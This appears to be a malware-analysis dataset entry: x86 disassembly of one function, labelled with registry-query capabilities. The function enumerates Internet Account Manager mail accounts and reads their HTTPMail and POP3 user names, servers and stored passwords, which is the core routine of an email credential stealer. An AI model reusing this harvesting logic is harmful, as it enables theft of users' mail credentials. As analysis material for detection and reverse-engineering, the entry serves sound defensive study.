Function at 0x1000d230
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x2e0
mov ecx, 0xea6
xor eax, eax
lea edx, [esp + 0x150]
push esi
push edi
mov edi, 0x100389a8
rep stosd dword es:[edi], eax
mov edi, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x158]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push edx
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d680
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 3
mov ebx, 0x96
lea eax, [esp + 0x28]
lea ecx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x20]
push 0
push 0
push 0
lea edx, [esp + 0x238]
push ecx
mov ecx, dword [esp + 0x34]
push edx
push eax
push ecx
mov dword [esp + 0x44], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1000d673
or ecx, 0xffffffff
mov edi, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x160]
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x160]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10030c58
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x160]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x228]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 1
lea ecx, [esp + 0x168]
push 0
push ecx
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000d673
lea edx, [esp + 0x10]
lea eax, [esp + 0xc8]
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.HTTPMail_User_Name
push edx
mov dword [esp + 0x28], ebx
call ebp
test eax, eax
jne 0x1000d4c2
mov eax, dword [0x1003c450]
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
xor eax, eax
shl edx, 2
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x100389a8]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x10038a70]
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
lea edi, [esp + 0xc8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, str.Hotmail
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x10], ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x30]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push eax
push 0
push str.HTTPMail_Password2
push ecx
call ebp
test eax, eax
jne 0x1000d63e
mov eax, dword [esp + 0x10]
mov edi, 2
xor esi, esi
cmp eax, edi
jbe 0x1000d625
mov dl, byte [esp + edi + 0x30]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov edx, dword [0x1003c450]
test eax, eax
jne 0x1000d49f
mov al, byte [esp + edi + 0x30]
cmp al, 0x28
je 0x1000d49f
cmp al, 0x29
je 0x1000d49f
cmp al, 0x2e
je 0x1000d49f
cmp al, 0x20
je 0x1000d49f
cmp al, 0x2d
jne 0x1000d4b4
mov cl, byte [esp + edi + 0x30]
lea eax, [edx + edx*2]
inc esi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov byte [esi + eax*4 + 0x10038a0b], cl
mov eax, dword [esp + 0x10]
inc edi
cmp edi, eax
jb 0x1000d472
jmp 0x1000d62b
lea ecx, [esp + 0x10]
lea edx, [esp + 0xc8]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.POP3_User_Name
push ecx
call ebp
test eax, eax
jne 0x1000d65a
mov eax, dword [0x1003c450]
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
mov dword [esp + 0x10], ebx
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x100389a8]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
lea edi, [esp + 0xc8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
stosw word es:[edi], ax
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.POP3_Server
push ecx
call ebp
mov eax, dword [0x1003c450]
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
mov dword [esp + 0x10], ebx
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [edx*4 + 0x10038a70]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x30]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x25
lea edi, [esp + 0xc8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
stosw word es:[edi], ax
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.POP3_Password2
push ecx
call ebp
test eax, eax
jne 0x1000d63e
mov eax, dword [esp + 0x10]
mov edi, 2
xor esi, esi
cmp eax, edi
jbe 0x1000d625
mov dl, byte [esp + edi + 0x30]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov edx, dword [0x1003c450]
test eax, eax
jne 0x1000d605
mov al, byte [esp + edi + 0x30]
cmp al, 0x28
je 0x1000d605
cmp al, 0x29
je 0x1000d605
cmp al, 0x2e
je 0x1000d605
cmp al, 0x20
je 0x1000d605
cmp al, 0x2d
jne 0x1000d61a
mov cl, byte [esp + edi + 0x30]
lea eax, [edx + edx*2]
inc esi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov byte [esi + eax*4 + 0x10038a0b], cl
mov eax, dword [esp + 0x10]
inc edi
cmp edi, eax
jb 0x1000d5d8
jmp 0x1000d62b
mov edx, dword [0x1003c450]
lea eax, [edx + edx*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov byte [esi + eax*4 + 0x10038a0c], 0
jmp 0x1000d644
mov edx, dword [0x1003c450]
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x30]
inc edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [0x1003c450], edx
mov ecx, dword [esp + 0x1c]
inc ecx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000d2aa
mov edx, dword [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x2e0
ret